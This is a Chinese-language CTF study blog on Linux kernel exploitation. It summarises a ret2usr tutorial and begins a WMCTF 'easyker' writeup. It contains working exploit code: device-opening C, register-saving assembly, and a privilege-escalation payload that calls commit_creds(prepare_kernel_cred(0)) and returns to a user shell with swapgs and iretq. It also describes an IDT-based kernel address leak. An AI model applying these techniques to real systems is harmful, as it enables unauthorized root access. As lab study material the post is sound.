参考 学习 Linux 内核利用 - 第 1 部分 - Midas 的博客 学习一下kernel pwn 题 利用的流程

文件内容

pwn-kernel 题通常给出的是可以用qemu启动模拟器的镜像文件。

通常下述文件是重要的:

  • vmlinuz : 经过压缩的linux内核文件 , 有时命名为bzImage , 可以提取出vmlinux文件

  • initramfs.cpio.gz : 名字可能不同 但是一般里面包含”cpio” 。是文件系统的压缩文件

  • run.sh : qemu run command 。 也有叫做start.sh的。

之后内容以wmctf的easyker为例

处理文件

首先处理vmlinuz。 在easyker中叫做bzImage 。使用到了github上的一个脚本

❯ ../../extract-vmlinux/extract-vmlinux bzImage > vmlinux
❯ ls
bzImage core flag rootfs.cpio run.sh vmlinux wmeasyker.rar

然后使用 ROPgadget 或者 ropper 提取其中的gadget

❯ ropper --file ./vmlinux --nocolor >gadgets.txt
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
❯ cat gadgets.txt |head -10



Gadgets
=======


0xffffffff8197b3a7: adc ah, 0x57; sub eax, 0x70; ret;
0xffffffff81e809d5: adc ah, al; xchg ebx, eax; xor eax, 0xc1416682; ret 0x6608;
0xffffffff81e809a1: adc ah, al; xchg ebx, eax; xor eax, 0xc1416682; ret;

由于每次提取会耗费较多时间 ,建议一次就把输出存储了

处理file system 即 cpio 文件,使用gunzip即可解压。 博客中给出了一个decompress.sh,我用ai稍微修改了一下,应对不同的文件名

!# /bin/sh
if [ -z "$1" ]; then
echo "Usage: $0 <filename>"
exit 1
fi

mkdir initramfs
cd initramfs

# 检测文件扩展名
if [[ "$1" == *.gz ]]; then
cp "../$1" ./initramfs.cpio.gz
gunzip ./initramfs.cpio.gz
elif [[ "$1" == *.cpio ]]; then
cp "../$1" ./initramfs.cpio
else
echo "Unsupported file format. Please provide a .gz or .cpio file."
exit 1
fi

# 解压 cpio 文件
cpio -idm < ./initramfs.cpio
rm initramfs.cpio

一定要在题目目录里使用

对于gz文件上述脚本可能出问题 文件名太硬编码了

然后进入/etc/里面找到一个file 通常叫做rcS 或者 inittab 把 setuidgid 1000 /bin/sh 改成 setuidgid 0 /bin/sh

在easyker里用的是nsjial.conf 于是我把 inside_id 改成了 0

find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > initramfs.cpio.gz

然后使用上述命令 重新生成cpio 或者 cpio.gz

我发现改了nsjail.conf还是没用 反复拷打了ai也没解决

run.sh 各参数意思:

  • -m 限制内存大小

  • -cpu 指定cpu型号

  • -kernel 指定压缩内核镜像文件

  • -initrd 指定压缩文件系统

  • -append 额外启动选项 此处可以添加保护

  • -monitor /dev/null 保证选手无法访问qemu monitor

  • -hdb flag.txt -drice file = ./flag …… : 将flag以设备的方式装在到内核中

首先要做的是在run.sh里加入 -s 参数,这允许我们对内核使用gdb

gdb vmlinux
(gdb) target remote localhost:1234

使用 –nx可以使用最普通的gdb进行调试
保护机制各种文章里都能看到 就不说了。

下一步分析内核模块

考虑到阅读文章的流畅性 我决定先总结此博客 然后再看wmctf的题

博客内的题目漏洞非常明显 就是 写入和读取时存在的大量的溢出。

Return-to-user : 从内核跳转到用户态任意代码的方式

但是如果开启了kpti 这个技术就不好用了

具体利用过程

内核模块相当于一个驱动,他会对设备的输入进行相应处理,在linux里设备会在/dev里映射到一个文件,我们可以通过与这个文件交互 模拟设备。 具体操作流程如下

int global_fd;

void open_dev(){
global_fd = open("/dev/hackme", O_RDWR);
if (global_fd < 0){
puts("[!] Failed to open device");
exit(-1);
} else {
puts("[*] Opened device");
}
}

上述代码打开了一个设备,然后我们可以读写这个设备

ret2usr 首先要有一个栈溢出 并且能覆盖到ret addr。 在覆盖时要注意看 return 的汇编代码。在内核中ret的过程相当的不统一,如果只看伪c代码,很可能在ret过程中一些重要的步骤就被漏掉了。(WMCTF就是在ret时给了个栈迁移)

一般的ret2usr首先是在返回地址里填入用户空间的一段汇编代码中

kernel exploition的目标时获得在系统中root 权限,然后返回一个shell 。 最常见的方式是通过

commit_creds(prepare_kernel_cred(0)) 0 参数表示权限配置和init一致

void escalate_privs(void){
__asm__(
".intel_syntax noprefix;"
"movabs rax, 0xffffffff814c67f0;" //prepare_kernel_cred
"xor rdi, rdi;"
"call rax; mov rdi, rax;"
"movabs rax, 0xffffffff814c6410;" //commit_creds
"call rax;"
...
".att_syntax;"
);
}

回到userland

这里虽然我们已经获得了root权限,但是我们还需要回到用户态,可以用iret指令,它只需要我们在栈上准备好5个用户态寄存器的值:

RIP|CS|RFLAGS|SP|SS

CS: 段寄存器 用于指定当前代码的特权级 。

RFLAGS: 标志寄存器。

SP: 指示栈顶部 非常重要。

SS: 指定当前栈所在段的特权级

rip可以设置成自己想要的函数 ,但是其他寄存器需要提前保存

void save_state(){
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved state");
}

pushf的功能是把RFLAGS push到栈上。

在x86_64 需要多一个指令叫swapgs . 它可以交换内核和用户态的GS寄存器。GS指示了某个段的基地址,我们不需要具体知道这是干嘛的。

结合前面说的 我们在返回前要做的就是

unsigned long user_rip = (unsigned long)get_shell;

void escalate_privs(void){
__asm__(
".intel_syntax noprefix;"
"movabs rax, 0xffffffff814c67f0;" //prepare_kernel_cred
"xor rdi, rdi;"
"call rax; mov rdi, rax;"
"movabs rax, 0xffffffff814c6410;" //commit_creds
"call rax;"
"swapgs;"
"mov r15, user_ss;"
"push r15;"
"mov r15, user_sp;"
"push r15;"
"mov r15, user_rflags;"
"push r15;"
"mov r15, user_cs;"
"push r15;"
"mov r15, user_rip;"
"push r15;"
"iretq;"
".att_syntax;"
);
}

接下来看 WMCTF

参考了WMCTF2025 Writeup - 星盟安全团队

首先要泄露kbase 。

这里利用了读取IDT table ,它在kernel中通常是固定映射,这里我发现我的gef根本没有kbase vmmap也什么都显示不了

IDT table一个表项是16字节 分布如下 : 按 offset,即标号是从左到右

0-1 2-3 4-4 5-5 6-7 8-11 12-15
服务函数地址低2字节 段选择子 填充0x00 属性 地址第三、四字节 地址高4字节 0

具体为什么要这么做 我也不太清楚 非常玄学

但是泄露kbase并不需要逐字节对应: kbase通常后面0比较多 所以低二字节可以不管,我们从4下表开始读取 ,由于属性也是不会变的,不会导致计算失误,之后offset又是不变的。

因此一个常见的方法就是x/gx 0xfffffe0000000000 + 4 , 然后假装这玩意是地址 读取偏移